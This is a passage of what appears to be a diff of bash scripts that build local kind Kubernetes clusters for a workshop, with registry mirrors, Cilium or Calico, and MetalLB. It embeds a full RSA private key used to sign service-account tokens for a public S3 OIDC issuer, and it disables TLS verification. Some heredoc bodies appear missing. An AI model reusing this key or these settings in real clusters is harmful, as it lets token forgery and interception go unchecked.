deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > 